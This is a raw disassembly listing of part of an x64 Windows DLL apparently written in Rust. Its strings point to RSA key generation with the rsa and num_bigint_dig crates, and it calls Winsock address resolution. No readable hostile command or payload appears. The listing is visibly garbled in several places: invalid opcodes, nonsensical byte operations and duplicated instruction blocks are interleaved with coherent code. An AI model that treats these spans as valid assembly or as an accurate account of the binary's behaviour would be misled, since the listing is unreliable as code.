lea rcx, [rbx + 0x3c0]
call fcn.18002ee0e
lea rcx, [rbx + 0x290]
call fcn.18002ee0e
jmp 0x18000f155
xor edi, edi
mov rsi, qword [rbx + 0xd0]
cmp rsi, qword [rbx + 0x698]
je 0x180011319
lea r14, [rsi + 0x30]
mov r15, rdi
xor r12d, r12d
test r15, r15
je 0x18001127d
cmp qword [rbx + 0x228], r12
je 0x18001127d
mov rax, qword [rbx + 0xd0]
lea rdx, [rax + r12]
mov rcx, rsi
call fcn.180009a1b
add r12, 0x30
inc r15
test al, al
je 0x18001124c
jmp 0x180011555
dec rdi
mov rsi, r14
jmp 0x180011235
movups xmm0, xmmword [rbx + 0x290]
movups xmm1, xmmword [rbx + 0x2a0]
movups xmm2, xmmword [rbx + 0x2b0]
movaps xmmword [rbx + 0x6d0], xmm2
movaps xmmword [rbx + 0x6c0], xmm1
movaps xmmword [rbx + 0x6b0], xmm0
mov rcx, qword [rbx + 0x8f8]
mov rdx, qword [rbx + 0x900]
call case.0x180046113.1274
mov rsi, qword [rbx + 0x2d8]
mov rcx, rsi
call fcn.18002ee0e
movdqa xmm0, xmmword [rbx + 0x6b0]
movdqa xmm1, xmmword [rbx + 0x6c0]
movdqa xmm2, xmmword [rbx + 0x6d0]
movdqu xmmword [rsi + 0x20], xmm2
movdqu xmmword [rsi + 0x10], xmm1
movdqu xmmword [rsi], xmm0
mov rcx, rsi
call fcn.180002a0d
sub qword [rbx + 0x3f8], rax
mov rax, qword [rbx + 0xc90]
mov qword [rbx + 0x2d8], rax
jmp 0x18000f09d
lea rcx, [rbx + 0x180]
call fcn.18003cb48
cmp qword [rbx + 0xbd0], 0
je 0x1800113db
movups xmm0, xmmword [rbx + 0x180]
movups xmm1, xmmword [rbx + 0x190]
movups xmm2, xmmword [rbx + 0x1a0]
movaps xmmword [rbx + 0x9c0], xmm2
movaps xmmword [rbx + 0x9b0], xmm1
movaps xmmword [rbx + 0x9a0], xmm0
mov rsi, qword [rbx + 0xd0]
mov rdi, qword [rbx + 0xbd0]
movdqa xmm0, xmmword [rbx + 0x9a0]
movdqa xmm1, xmmword [rbx + 0x9b0]
movdqa xmm2, xmmword [rbx + 0x9c0]
movdqa xmmword [rbx + 0x6d0], xmm2
movdqa xmmword [rbx + 0x6c0], xmm1
movdqa xmmword [rbx + 0x6b0], xmm0
mov qword [rbx + 0x6e0], rsi
lea rcx, [rbx + 0x9a0]
lea rdx, [rbx + 0x6b0]
mov r8, rsi
call fcn.18003cb89
add rsi, 0x30
dec rdi
jne 0x18001136b
movdqa xmm0, xmmword [rbx + 0x9a0]
movdqa xmm1, xmmword [rbx + 0x9b0]
movdqa xmm2, xmmword [rbx + 0x9c0]
jmp 0x1800113f3
movdqu xmm0, xmmword [rbx + 0x180]
movdqu xmm1, xmmword [rbx + 0x190]
movdqu xmm2, xmmword [rbx + 0x1a0]
movdqa xmmword [rbx + 0x360], xmm2
movdqa xmmword [rbx + 0x350], xmm1
movdqa xmmword [rbx + 0x340], xmm0
lea rcx, [rbx + 0x340]
call fcn.180002a0d
cmp rax, 0x800
jne 0x180011549
cmp qword [rbx + 0x438], 0xfffffffffffffffd
ja 0x180011549
lea rcx, [rbx + 0x230]
call fcn.180009c07
xor edi, edi
cmp qword [rbx + 0x228], rdi
je 0x1800114d9
mov rax, qword [rbx + 0xd0]
lea rsi, [rax + rdi]
lea r15, [rbx + 0x6b0]
mov rcx, r15
call fcn.180009c07
lea r14, [rbx + 0x9a0]
mov rcx, r14
mov rdx, rsi
mov r8, r15
call fcn.180030896
mov rcx, r15
lea rsi, [rbx + 0x230]
mov rdx, rsi
mov r8, r14
call fcn.18000267f
mov rcx, rsi
call fcn.18002ee0e
movdqu xmm0, xmmword [rbx + 0x6b0]
movdqu xmm1, xmmword [rbx + 0x6c0]
movdqu xmm2, xmmword [rbx + 0x6d0]
movdqa xmmword [rbx + 0x250], xmm2
movdqa xmmword [rbx + 0x240], xmm1
movdqa xmmword [rbx + 0x230], xmm0
mov rcx, r14
call fcn.18002ee0e
add rdi, 0x30
jmp 0x18001143f
movdqa xmm0, xmmword [rbx + 0x230]
movdqa xmm1, xmmword [rbx + 0x240]
movdqa xmm2, xmmword [rbx + 0x250]
movdqa xmmword [rbx + 0x6d0], xmm2
movdqa xmmword [rbx + 0x6c0], xmm1
movdqa xmmword [rbx + 0x6b0], xmm0
lea rax, [rbx + 0xc98]
mov qword [rbx + 0x188], rax
mov qword [rbx + 0x180], 2
lea rcx, [rbx + 0x9a0]
lea rdx, [rbx + 0x180]
lea r8, [rbx + 0x6b0]
call fcn.1800343b1
cmp dword [rbx + 0x9a0], 2
jne 0x180011c03
lea rcx, [rbx + 0x340]
call fcn.18002ee0e
mov rax, qword [rbx + 0xd0]
mov qword [rbx + 0x2d8], rax
xor eax, eax
mov qword [rbx + 0x3a8], rax
mov eax, 0x800
mov qword [rbx + 0x3f8], rax
jmp 0x18000f09d
lea rcx, str.registery_srcindex.crates.io_6f17d22bba15001f_num_bigint_dig_0.8.4_src_bigrand.rs
call fcn.180069dd0
lea rax, str.invalid_port_value
jmp 0x18000ed08
mov rcx, rax
call fcn.180069600
mov edi, dword [rbx + 0x6b2]
movzx r12d, word [rbx + 0x6b6]
movzx r15d, word [rbx + 0x6cc]
movzx r14d, word [rbx + 0x6ce]
mov rax, qword [rbx + 0x480]
movzx r13d, word [rax]
mov eax, dword [rbx + 0x6c8]
mov dword [rbx + 0x9b0], eax
movdqu xmm0, xmmword [rbx + 0x6b8]
movdqa xmmword [rbx + 0x9a0], xmm0
mov al, byte [0x18008b300]
mov edx, 0x80
xor ecx, ecx
call fcn.180059d10
mov qword [rbx + 0x90], rax
test rax, rax
jne 0x180011619
mov byte [rbx + 0xdf], 1
push 4
pop rcx
mov edx, 0x80
call fcn.180069600
jmp case.0x18000b84e.2
test si, si
cmovne r15d, r13d
cmove r12d, r13d
lea rdx, [rbx + 0x9a8]
mov eax, dword [rdx + 8]
mov rcx, qword [rbx + 0x90]
mov dword [rcx + 0x18], eax
movaps xmm0, xmmword [rdx - 8]
movups xmmword [rcx + 8], xmm0
mov word [rcx], si
mov dword [rcx + 2], edi
mov rdi, rdx
mov word [rcx + 6], r12w
mov word [rcx + 0x1c], r15w
mov word [rcx + 0x1e], r14w
movdqu xmm0, xmmword [rbx + 0x480]
add dword [rax - 0xcfffffc], 0xf
outsd dx, dword [rsi]
mov edx, dword [rax + 0x66000004]
movq qword [rdx + 8], mm1
invalid
invalid
add dword [rax - 0xcfffffc], 0xf
outsd dx, dword [rsi]
mov edx, dword [rax + 0x66000004]
movq qword [rdx + 8], mm1
invalid
invalid
or byte [rsi + 0xf], spl
jg 0x1800116b3
movdqa xmmword [rdx - 8], xmm0
clc
push 1
pop rax
mov qword [rbx + 0x88], rax
lea r12, [rbx + 0x6b8]
add byte [rax], al
add byte [rax], al
xor eax, eax
mov qword [rbx + 0xa8], rax
push 4
pop rax
mov qword [rbx + 0x98], rax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
mov esi, dword [rax + 0x48000006]
mov edx, edi
lea rcx, [rbx + 0x6b0]
mov rdx, rdi
call fcn.18004d360
movzx r15d, word [rbx + 0x6b0]
cmp r15w, 2
je 0x180011847
test byte [rdi + 0x44000001], cl
mov edx, dword [rbx + 0x6b2]
mov r10d, dword [rbx + 0x6b2]
movzx r9d, word [rbx + 0x6ce]
mov rax, qword [rbx + 0x9a0]
and dword [rax + 0x44000009], 0xf
mov bh, 0x28
test r15w, r15w
movzx r14d, word [rbx + 0x6b6]
mov bl, 0xb6
invalid
add byte [rax], al
cmove r14w, r13w
cmove r13w, word [rbx + 0x6cc]
invalid
add byte [rax], al
add byte [rcx + 0xf], al
adc byte [rsp], al
mov bl, 0xb6
invalid
invalid
add byte [rcx + 0xf], al
adc byte [rsp], al
movaps xmmword [rbx + 0x230], xmm0
mov eax, dword [r12 + 0x10]
and al, 0x10
mov eax, dword [rsp + 0x10]
and al, 0x10
mov dword [rbx + 0x240], eax
mov rcx, qword [rbx + 0x98]
cmp qword [rbx + 0x88], rcx
cmp dword [rbx + 0x88], ecx
jne 0x180011777
mov rsi, rdi
mov rdi, rcx
inc rdi
je 0x180011882
lea rax, [rcx + rcx]
cmp rax, rdi
cmova rdi, rax
xor edx, edx
mov rax, rdi
shr rax, 0x3a
sete al
cmp rdi, 5
push 4
pop r8
cmovb rdi, r8
test rcx, rcx
mov word [rbx + 0x80], r9w
mov dword [rbx + 0xa0], r10d
je 0x180011780
shl rcx, 5
mov r9, qword [rbx + 0x90]
mov qword [rbx + 0x6b0], r9
mov qword [rbx + 0x6c0], rcx
mov rcx, r8
jmp 0x180011782
mov rdx, qword [rbx + 0x90]
jmp 0x1800117d6
xor ecx, ecx
mov r8, rdi
shl r8, 5
mov dl, al
shl edx, 2
mov qword [rbx + 0x6b8], rcx
lea rcx, [rbx + 0xe0]
lea r9, [rbx + 0x6b0]
call fcn.180044da0
cmp qword [rbx + 0xe0], 0
jne 0x180011884
mov rdx, qword [rbx + 0xe8]
mov qword [rbx + 0x98], rdi
mov rdi, rsi
movzx r9d, word [rbx + 0x80]
add byte [rax], al
add byte [rax], al
mov r10d, dword [rbx + 0xa0]
mov r8, qword [rbx + 0x88]
mov rax, r8
shl rax, 5
mov word [rdx + rax], r15w
mov dword [rdx + rax + 2], r10d
ror byte [rax - 0x3f], 0xe0
add eax, 0x3c894466
add al, byte [rcx + rcx*4 + 0x54]
add al, byte [rdx]
mov word [rdx + rax + 6], r14w
mov dword [rdx + rax + 6], r14d
movdqa xmm0, xmmword [rbx + 0x230]
movdqu xmmword [rdx + rax + 8], xmm0
mov ecx, dword [rbx + 0x240]
mov dword [rdx + rax + 0x18], ecx
mov word [rdx + rax + 0x1c], r13w
mov qword [rbx + 0x90], rdx
nop
add byte [rax], al
add byte [rsi + 0x44], ah
mov dword [rdx + rax + 0x1e], ecx
nop
add byte [rax], al
add byte [rsi + 0x44], ah
mov dword [rdx + rax + 0x1e], ecx
inc r8
mov qword [rbx + 0x88], r8
mov byte [rax], al
add byte [rax], al
mov byte [rax], al
add byte [rax], al
jmp 0x180011696
movd r12d, xmm0
pshufd xmm6, xmm0, 0xf9
stc
stc
shl r12, 8
mov di, 1
xor esi, esi
jmp 0x18000e7f5
mov rcx, qword [rbx + 0x9a8]
call qword [sym.imp.ws2_32.dll_freeaddrinfo]
cmp qword [rbx + 0x90], 0
jne 0x1800118aa
push 1
pop rsi
xor eax, eax
mov qword [rbx + 0x1e8], rax
jmp 0x18000ed12
xor eax, eax
test r11d, r11d
setne al
je 0x18000ec8a
jmp 0x18000ec94
jmp 0x180011899
mov rax, qword [rbx + 0xe8]
mov qword [rbx + 0xa8], rax
mov rdx, qword [rbx + 0xf0]
mov rcx, qword [rbx + 0xa8]
call fcn.180069600
jmp case.0x18000b84e.2
invalid
add byte [rbx + rcx*4 - 0x5d], cl
mov byte [rax], al
add byte [rax], al
mov r12, qword [rbx + 0x88]
shl r12, 5
add r12, qword [rbx + 0x90]
add byte [rax], al
add byte [rcx + rcx*4 - 0x5d], cl
mov byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x5d], cl
mov byte [rax], al
add byte [rax], al
jmp 0x18000e871
lea rcx, [rbx + 0x9a0]
lea rdx, [rbx + 0x480]
xchg ebx, eax
add byte [rax + rax], 0
movabs al, byte [0x480938d48000009]
add byte [rax], al
xchg ebx, eax
add byte [rax + rax], 0
mov r8, r9
call fcn.180026880
sub r14, rax
jae 0x18001191d
lea r8, str.librarycore_src_netparser.rs
add eax, 0x5f9e6
push 8
pop rdx
mov rcx, r14
call fcn.180069a50
invalid
invalid
add eax, 0xd8d4800
add al, 0xff
invalid
lea rcx, str.internal_error:_entered_unreachable_code
or eax, 0x6ff04
lea r8, str.registery_srcindex.crates.io_6f17d22bba15001f_spin_0.5.2_srconce.rs
push 0x28
jmp 0x180011917
lea rcx, str.Once_has_panicked
lea r8, str.registery_srcindex.crates.io_6f17d22bba15001f_spin_0.5.2_srconce.rs
push 0x11
pop rdx
call fcn.180069820
cmp rax, 8
jne 0x180011935
lea r8, str.librarycore_src_netparser.rs
push 8
pop rcx
push 7
pop rdx
call fcn.180069810
lea rcx, [rbx + r14*2]
add rcx, 0x6b0
add rax, rax
lea rdx, [rbx + 0x480]
mov r8, rax
call fcn.180068d66
pxor xmm0, xmm0
movdqa xmm1, xmmword [rbx + 0x6b0]
movdqa xmm2, xmm1
punpckhbw xmm2, xmm0
pshuflw xmm2, xmm2, 0xb1
pshufhw xmm2, xmm2, 0xb1
punpcklbw xmm1, xmm0
pshuflw xmm0, xmm1, 0xb1
pshufhw xmm0, xmm0, 0xb1
packuswb xmm0, xmm2
jmp 0x18000e7c1
lea rcx, str.registery_srcindex.crates.io_6f17d22bba15001f_rsa_0.9.6_src_algorithmsgenerate.rs
call fcn.180069a10
lea rcx, str.registery_srcindex.crates.io_6f17d22bba15001f_num_bigint_dig_0.8.4_src_bigrand.rs
call fcn.180069bb0
lea rcx, str.registery_srcindex.crates.io_6f17d22bba15001f_num_bigint_dig_0.8.4_src_bigrand.rs
call fcn.180069bb0
lea rcx, str.assertion_failed:_index___len
lea r8, str.registery_srcindex.crates.io_6f17d22bba15001f_smallvec_1.13.2_srclib.rs
push 0x1e
jmp 0x180011917
lea rcx, str.registery_srcindex.crates.io_6f17d22bba15001f_num_bigint_dig_0.8.4_src_bigrand.rs
call fcn.180069bb0
lea rcx, str.registery_srcindex.crates.io_6f17d22bba15001f_num_bigint_dig_0.8.4_srcprime.rs
call fcn.180069bb0
lea rdi, [rbx + 0x6b0]
mov rcx, rdi
mov rdx, rsi
mov r8, r14
call fcn.180068d66
mov byte [rbx + r14 + 0x6b0], 0
cmp r14, 0xe
ja 0x180011a25
xor ecx, ecx
cmp byte [rbx + rcx + 0x6b0], 0
je 0x180011c66
inc rcx
cmp r13, rcx
jne 0x1800119fe
jmp 0x180011cd1
lea rcx, str.registery_srcindex.crates.io_6f17d22bba15001f_num_bigint_dig_0.8.4_srcprime.rs
call fcn.180069bb0
lea rax, [rbx + 0x6b7]
and rax, 0xfffffffffffffff8
sub rax, rdi
jne 0x180011a74
lea rcx, [r14 - 0xf]
jmp 0x180011a95
lea rax, str.prime_size_must_be_at_least_2_bit
lea rcx, [rbx + 0x6b0]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, [0x180081690]
mov qword [rcx + 0x10], rax
pxor xmm0, xmm0
movdqu xmmword [rcx + 0x18], xmm0
lea rdx, str.registery_srcindex.crates.io_6f17d22bba15001f_num_bigint_dig_0.8.4_src_bigrand.rs
call fcn.180069750
xor ecx, ecx
cmp byte [rbx + rcx + 0x6b0], 0
je 0x180011c66
inc rcx
cmp rax, rcx
jne 0x180011a76
lea rcx, [r14 - 0xf]
cmp rax, rcx
ja 0x180011ad8
movdqa xmm0, xmmword [0x18006c670]
movabs r8, 0x8080808080808080
movdqu xmm1, xmmword [rbx + rax + 0x6b0]
movdqa xmm2, xmm1
paddq xmm2, xmm0
pandn xmm1, xmm2
pshufd xmm2, xmm1, 0xee
por xmm2, xmm1
movq rdx, xmm2
test rdx, r8
jne 0x180011ad8
add rax, 0x10
cmp rax, rcx
jbe 0x180011aa7
sub r13, rax
je 0x180011cd1
lea rdx, [rbx + rax]
add rdx, 0x6b0
xor ecx, ecx
cmp byte [rdx + rcx], 0
je 0x180011c63
inc rcx
cmp r13, rcx
jne 0x180011aee
jmp 0x180011cd1
mov rax, qword [rbx + 0x9d0]
mov qword [rbx + 0x6e0], rax
movups xmm0, xmmword [rbx + 0x9a0]
movups xmm1, xmmword [rbx + 0x9b0]
movups xmm2, xmmword [rbx + 0x9c0]
movaps xmmword [rbx + 0x6d0], xmm2
movaps xmmword [rbx + 0x6c0], xmm1
movaps xmmword [rbx + 0x6b0], xmm0
and eax, 0xff
je 0x180011d26
lea rsi, [rbx + 0x180]
cmp eax, 1
jne 0x180011ce7
mov rcx, rsi
call fcn.18000a2b0
jmp 0x180011cf6
add rcx, rax
cmp rcx, r14
jne 0x180011cd1
pxor xmm0, xmm0
lea r8, [rbx + 0x9a0]
movdqa xmmword [r8], xmm0
movdqa xmmword [r8 + 0x20], xmm0
movdqa xmmword [r8 + 0x10], xmm0
mov dword [r8 + 8], 1
lea r9, [rbx + 0xe0]
and qword [r9], 0
lea rcx, [rbx + 0x6b0]
xor edx, edx
call qword [sym.imp.ws2_32.dll_getaddrinfo]
test eax, eax
jne 0x180011d32
mov rax, qword [rbx + 0xe0]
movzx ecx, word [rbx + 0x1f0]
mov qword [rbx + 0x490], rax
mov word [rbx + 0x498], cx
xor ecx, ecx
jmp 0x180011d43
lea rax, str.file_name_contained_an_unexpected_NUL_byte
mov qword [rbx + 0x488], rax
push 1
pop rcx
jmp 0x18000eedb
lea rdx, [rbx + 0x6b0]
mov rcx, rsi
call fcn.180009973
mov r12, qword [rsi]
lea rax, [rbx + 0x188]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rbx + 0x1f0], xmm0
movaps xmmword [rbx + 0x200], xmm1
mov rax, qword [rax + 0x20]
mov qword [rbx + 0x210], rax
cmp r12, 2
jne 0x180011d4f
lea rcx, str.registery_srcindex.crates.io_6f17d22bba15001f_rsa_0.9.6_src_algorithms_rsa.rs_t
call fcn.180069bb0
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
push 1
pop rcx
mov qword [rbx + 0x488], rax
jmp 0x18000eedb
mov rax, qword [rbx + 0x210]
mov qword [rbx + 0xc30], rax
movaps xmm0, xmmword [rbx + 0x1f0]
movaps xmm1, xmmword [rbx + 0x200]
movaps xmmword [rbx + 0xc20], xmm1
movaps xmmword [rbx + 0xc10], xmm0
lea rsi, [rbx + 0x6b0]
mov rcx, rsi
call fcn.18002ee0e
movaps xmm0, xmmword [rbx + 0x340]
movaps xmm1, xmmword [rbx + 0x350]
movaps xmm2, xmmword [rbx + 0x360]
movaps xmmword [rsi + 0x20], xmm2
movaps xmmword [rsi + 0x10], xmm1
movaps xmmword [rsi], xmm0
lea rsi, [rbx + 0x6e0]
lea rdx, [rbx + 0xc98]
mov rcx, rsi
call fcn.180009973
mov rdx, qword [rsi - 0x30]
mov r15, qword [rsi - 0x28]
mov r14, qword [rsi - 0x20]
lea rsi, [rbx + 0x6c8]
push 9
pop rcx
lea rdi, [rbx + 0x480]
rep movsq qword [rdi], qword [rsi]
cmp rdx, 2
jne 0x180011e34
mov rax, qword [rbx + 0x4b0]
mov qword [rbx + 0x110], rax
movups xmm0, xmmword [rbx + 0x480]
movups xmm1, xmmword [rbx + 0x490]
movups xmm2, xmmword [rbx + 0x4a0]
movaps xmmword [rbx + 0x180], xmm0
movaps xmmword [rbx + 0x190], xmm1
movaps xmmword [rbx + 0x1a0], xmm2
mov qword [rbx + 0x1b0], rax
lea rcx, [rbx + 0xc98]
call fcn.18002ee0e
jmp 0x1800126da
push 9
pop rcx
lea rax, [rbx + 0xe0]
lea rsi, [rbx + 0x480]
mov rdi, rax
rep movsq qword [rdi], qword [rsi]
mov qword [rbx + 0xc40], r12
movaps xmm0, xmmword [rbx + 0xc10]
movaps xmm1, xmmword [rbx + 0xc20]
movups xmmword [rbx + 0xc48], xmm0
movups xmmword [rbx + 0xc58], xmm1
mov rcx, qword [rbx + 0xc30]
mov qword [rbx + 0xc68], rcx
mov rcx, qword [rbx + 0xc88]
mov qword [rbx + 0x8e0], rcx
mov rcx, qword [rbx + 0xd0]
mov qword [rbx + 0x8e8], rcx
mov rcx, qword [rbx + 0xbd0]
mov qword [rbx + 0x8f0], rcx
mov qword [rbx + 0xbe0], rdx
mov qword [rbx + 0xbe8], r15
mov qword [rbx + 0xbf0], r14
movups xmm0, xmmword [rax]
movups xmmword [rbx + 0xbf8], xmm0
mov rcx, qword [rax + 0x10]
mov qword [rbx + 0xc08], rcx
movups xmm0, xmmword [rax + 0x18]
movups xmm1, xmmword [rax + 0x28]
movups xmm2, xmmword [rax + 0x38]
movaps xmmword [rbx + 0x990], xmm2
movaps xmmword [rbx + 0x980], xmm1
movaps xmmword [rbx + 0x970], xmm0
mov rax, qword [rbx + 0xbf0]
mov rcx, qword [rbx + 0xbf8]
lea rsi, [rbx + 0x9a0]
mov qword [rsi + 0x10], rax
mov qword [rsi + 0x18], rcx
mov rax, qword [rbx + 0xbe0]
mov qword [rsi], rax
mov rax, qword [rbx + 0xbe8]
mov qword [rsi + 8], rax
movups xmm0, xmmword [rbx + 0xc00]
movaps xmmword [rsi + 0x20], xmm0
movaps xmm0, xmmword [rbx + 0x970]
movaps xmm1, xmmword [rbx + 0x980]
movaps xmm2, xmmword [rbx + 0x990]
movaps xmmword [rsi + 0x30], xmm0
movaps xmmword [rsi + 0x40], xmm1
movaps xmmword [rsi + 0x50], xmm2
push 0xc
pop rcx
lea rdi, [rbx + 0x6b0]
rep movsq qword [rdi], qword [rsi]
lea r12, [rbx + 0x710]
movups xmm0, xmmword [rbx + 0xc40]
movups xmm1, xmmword [rbx + 0xc50]
movups xmm2, xmmword [rbx + 0xc60]
movups xmmword [r12 + 0x20], xmm2
movups xmmword [r12 + 0x10], xmm1
movups xmmword [r12], xmm0
movups xmm0, xmmword [rbx + 0x8e0]
movups xmmword [r12 + 0xe0], xmm0
mov rdx, qword [rbx + 0x8f0]
mov qword [r12 + 0xf0], rdx
mov qword [r12 + 0x30], 2
mov rcx, qword [r12 + 0xe8]
lea r9, str.registery_srcindex.crates.io_6f17d22bba15001f_rsa_0.9.6_srckey.rs
xor r8d, r8d
call fcn.180034250
mov rsi, rax
lea rdi, [rbx + 0x9a0]
mov rcx, rdi
call fcn.18003cb48
lea r14, [rbx + 0x480]
mov rcx, r14
mov rdx, rsi
mov r8, rdi
call fcn.180030896
lea rcx, [rbx + 0x400]
mov rdx, r12
mov r8, r14
call case.0x18001e8df.352
mov rcx, qword [r12 + 0xe8]
mov rdx, qword [r12 + 0xf0]
lea r9, str.registery_srcindex.crates.io_6f17d22bba15001f_rsa_0.9.6_srckey.rs
push 1
pop r15
mov r8, r15
call fcn.180034250
mov rsi, rax
lea rdi, [rbx + 0x9a0]
mov rcx, rdi
call fcn.18003cb48
lea r14, [rbx + 0x480]
mov rcx, r14
mov rdx, rsi
mov r8, rdi
call fcn.180030896
lea rcx, [rbx + 0x930]
mov rdx, r12
mov r8, r14
call case.0x18001e8df.352
mov rcx, qword [r12 + 0xe8]
mov rdx, qword [r12 + 0xf0]
lea r9, str.registery_srcindex.crates.io_6f17d22bba15001f_rsa_0.9.6_srckey.rs
mov qword [rbx + 0xa8], r15
mov r8, r15
call fcn.180034250
lea rsi, [rbx + 0x480]
mov rcx, rsi
mov rdx, rax
call fcn.180009973
mov rcx, qword [r12 + 0xe8]
mov rdx, qword [r12 + 0xf0]
lea r9, str.registery_srcindex.crates.io_6f17d22bba15001f_rsa_0.9.6_srckey.rs
xor r8d, r8d
call fcn.180034250
lea rdi, [rbx + 0x9a0]
mov rcx, rdi
mov rdx, rsi
mov r8, rax
call fcn.180035bbb
cmp dword [rdi], 2
je 0x18001265f
lea rsi, [rbx + 0x9a0]
mov rax, qword [rsi + 0x30]
mov qword [rbx + 0x220], rax
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movups xmm2, xmmword [rsi + 0x20]
movaps xmmword [rbx + 0x210], xmm2
movaps xmmword [rbx + 0x200], xmm1
movaps xmmword [rbx + 0x1f0], xmm0
mov rcx, qword [rbx + 0x7f8]
mov rdx, qword [rbx + 0x800]
lea r9, str.registery_srcindex.crates.io_6f17d22bba15001f_rsa_0.9.6_srckey.rs
xor r8d, r8d
call fcn.180034250
mov rdi, rax
mov rcx, qword [rbx + 0x7f8]
mov rdx, qword [rbx + 0x800]
lea r9, str.registery_srcindex.crates.io_6f17d22bba15001f_rsa_0.9.6_srckey.rs
push 1
pop r8
call fcn.180034250
lea rcx, [rbx + 0x440]
mov rdx, rdi
mov r8, rax
call fcn.18000267f
mov rdx, qword [rbx + 0x800]
add rdx, 0xfffffffffffffffe
mov rcx, rsi
call fcn.18003cba3
cmp qword [rsi], 0
mov rcx, qword [rsi + 8]
jne 0x1800121aa
mov r15, qword [rbx + 0x9b0]
mov qword [rbx + 0x320], rcx
mov qword [rbx + 0x328], r15
and qword [rbx + 0x330], 0
mov rdx, qword [rbx + 0x800]
cmp rdx, 1
ja 0x1800121b6
lea r8, str.registery_srcindex.crates.io_6f17d22bba15001f_rsa_0.9.6_srckey.rs
push 2
pop rcx
call fcn.180069790
mov rdx, qword [rbx + 0x9b0]
call fcn.180069600
lea rax, [rbx + 0x740]
mov rax, qword [rax + 0xb8]
add rax, 0x60
mov qword [rbx + 0x88], rax
imul rax, rdx, 0x30
add rax, 0xffffffffffffffa0
mov qword [rbx + 0x90], rax
xor esi, esi
cmp qword [rbx + 0x90], 0
je 0x180012564
lea rdi, [rbx + 0x9a0]
mov rcx, rdi
call fcn.18003cb48
lea r14, [rbx + 0x480]
mov rcx, r14
mov rdx, qword [rbx + 0x88]
mov r8, rdi
call fcn.180030896
mov rcx, rdi
lea rdx, [rbx + 0x710]
mov r8, r14
call case.0x18001e8df.352
mov rax, qword [rbx + 0x9c8]
cmp rax, 5
jb 0x18001223c
mov rax, qword [rbx + 0x9a8]
cmp rax, 1
mov al, 2
sbb al, 0
mov byte [rbx + 0x1b0], al
movups xmm0, xmmword [rbx + 0x9a0]
movups xmm1, xmmword [rbx + 0x9b0]
movups xmm2, xmmword [rbx + 0x9c0]
movaps xmmword [rbx + 0x180], xmm0
movaps xmmword [rbx + 0x190], xmm1
movaps xmmword [rbx + 0x1a0], xmm2
lea rcx, [rbx + 0x9a0]
lea rdx, [rbx + 0x440]
call fcn.180009973
mov rax, qword [rbx + 0x9c8]
cmp rax, 5
jb 0x18001229b
mov rax, qword [rbx + 0x9a8]
cmp rax, 1
mov al, 2
sbb al, 0
mov byte [rbx + 0x110], al
movups xmm0, xmmword [rbx + 0x9a0]
movups xmm1, xmmword [rbx + 0x9b0]
movups xmm2, xmmword [rbx + 0x9c0]
movaps xmmword [rbx + 0xe0], xmm0
movaps xmmword [rbx + 0xf0], xmm1
movaps xmmword [rbx + 0x100], xmm2
lea rdi, [rbx + 0x2e0]
mov rcx, rdi
lea rdx, [rbx + 0x440]
call fcn.180009973
lea rcx, [rbx + 0x9a0]
mov rdx, rdi
mov r8, qword [rbx + 0x88]
call fcn.180035bbb
cmp dword [rbx + 0x9a0], 2
je 0x180012623
mov rax, qword [rbx + 0x9d0]
mov qword [rbx + 0x4b0], rax
movups xmm0, xmmword [rbx + 0x9a0]
movups xmm1, xmmword [rbx + 0x9b0]
movups xmm2, xmmword [rbx + 0x9c0]
movaps xmmword [rbx + 0x4a0], xmm2
movaps xmmword [rbx + 0x490], xmm1
movaps xmmword [rbx + 0x480], xmm0
movzx eax, al
cmp eax, 1
je 0x18001236a
cmp eax, 2
jne 0x180012738
lea rcx, [rbx + 0x9a0]
lea rdx, [rbx + 0x480]
call fcn.180009973
jmp 0x180012376
lea rcx, [rbx + 0x9a0]
call fcn.18000a2b0
mov rdi, qword [rbx + 0x9a0]
mov r12, qword [rbx + 0x9a8]
lea rax, [rbx + 0x9a8]
movups xmm0, xmmword [rax + 8]
movaps xmmword [rbx + 0x3c0], xmm0
mov rax, qword [rax + 0x18]
mov qword [rbx + 0x3d0], rax
mov r13, qword [rbx + 0x9c8]
cmp rdi, 2
je 0x180012738
mov rax, qword [rbx + 0x3d0]
mov qword [rbx + 0x2a0], rax
movaps xmm0, xmmword [rbx + 0x3c0]
movaps xmmword [rbx + 0x290], xmm0
cmp r13, 5
mov rax, r13
cmovae rax, r12
cmp rax, 1
mov r14b, 2
sbb r14b, 0
movaps xmm0, xmmword [rbx + 0x180]
movaps xmm1, xmmword [rbx + 0x190]
movaps xmm2, xmmword [rbx + 0x1a0]
movaps xmmword [rbx + 0x230], xmm0
movaps xmmword [rbx + 0x240], xmm1
movaps xmmword [rbx + 0x250], xmm2
mov rax, qword [rbx + 0x1b0]
mov qword [rbx + 0x260], rax
movaps xmm0, xmmword [rbx + 0xe0]
movaps xmm1, xmmword [rbx + 0xf0]
movaps xmm2, xmmword [rbx + 0x100]
movaps xmmword [rbx + 0x340], xmm0
movaps xmmword [rbx + 0x350], xmm1
movaps xmmword [rbx + 0x360], xmm2
mov rax, qword [rbx + 0x110]
mov qword [rbx + 0x370], rax
lea rcx, [rbx + 0x480]
call fcn.18002ee0e
lea rcx, [rbx + 0x440]
mov rdx, qword [rbx + 0x88]
call fcn.18003d0ac
cmp rsi, qword [rbx + 0x320]
jne 0x180012496
lea rcx, [rbx + 0x320]
call fcn.18003cc16
mov r15, qword [rbx + 0x328]
mov rsi, qword [rbx + 0x330]
add qword [rbx + 0x88], 0x30
imul rax, rsi, 0xa8
mov rcx, qword [rbx + 0x260]
mov qword [r15 + rax + 0x30], rcx
movaps xmm0, xmmword [rbx + 0x230]
movaps xmm1, xmmword [rbx + 0x240]
movaps xmm2, xmmword [rbx + 0x250]
movups xmmword [r15 + rax + 0x20], xmm2
movups xmmword [r15 + rax + 0x10], xmm1
movups xmmword [r15 + rax], xmm0
mov qword [r15 + rax + 0x38], rdi
mov qword [r15 + rax + 0x40], r12
movaps xmm0, xmmword [rbx + 0x290]
movups xmmword [r15 + rax + 0x48], xmm0
mov rcx, qword [rbx + 0x2a0]
mov qword [r15 + rax + 0x58], rcx
mov qword [r15 + rax + 0x60], r13
mov byte [r15 + rax + 0x68], r14b
movdqa xmm0, xmmword [rbx + 0x340]
movdqa xmm1, xmmword [rbx + 0x350]
movdqa xmm2, xmmword [rbx + 0x360]
